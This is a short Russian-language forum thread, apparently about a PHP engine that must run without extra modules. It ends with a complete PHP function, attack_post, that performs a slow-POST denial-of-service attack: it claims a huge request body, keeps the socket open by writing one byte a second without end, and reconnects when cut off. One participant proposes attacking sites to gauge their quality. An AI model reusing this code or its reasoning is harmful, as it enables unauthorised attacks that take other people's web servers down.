курл не закрыт. Он просто не установлен. Доступа к командной строке нет, по этому установить не могу. А с сокетами может получится, только есть одна большая проблемма - я вообще в них не разбираюсь. И в HTTP запросах я тоже не разбираюсь
Uxus Greenwood: дело не в том, что это лично мое неудобство, а в том, что этот продукт используют другие люди (это движок) и нужно сделать всё максимально удобно - чтоб требовался только php и MySQL
Валерий Рябошапко: для расчета PR сайта по степени его защищенности
если после атаки сайт работает - значит его писала не школота и он более-менее релевантный
Denormalization: мне нужен продукт, который не требует установки каких-либо модулей. Разрешено только подключать эти модули с помощью функции include() если они написаны на php.
function attack_post($server, $host){
$request = "POST /".md5(rand())." HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
$request .= "Keep-Alive: 900\r\n";
$request .= "Content-Length: 1000000000\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Accept: *.*\r\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
while (true){
if (@fwrite($sockfd, ".") !== FALSE){
echo ".";
sleep(1);
}else{
echo "\nOne post attack failed to sent...\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
}
}
}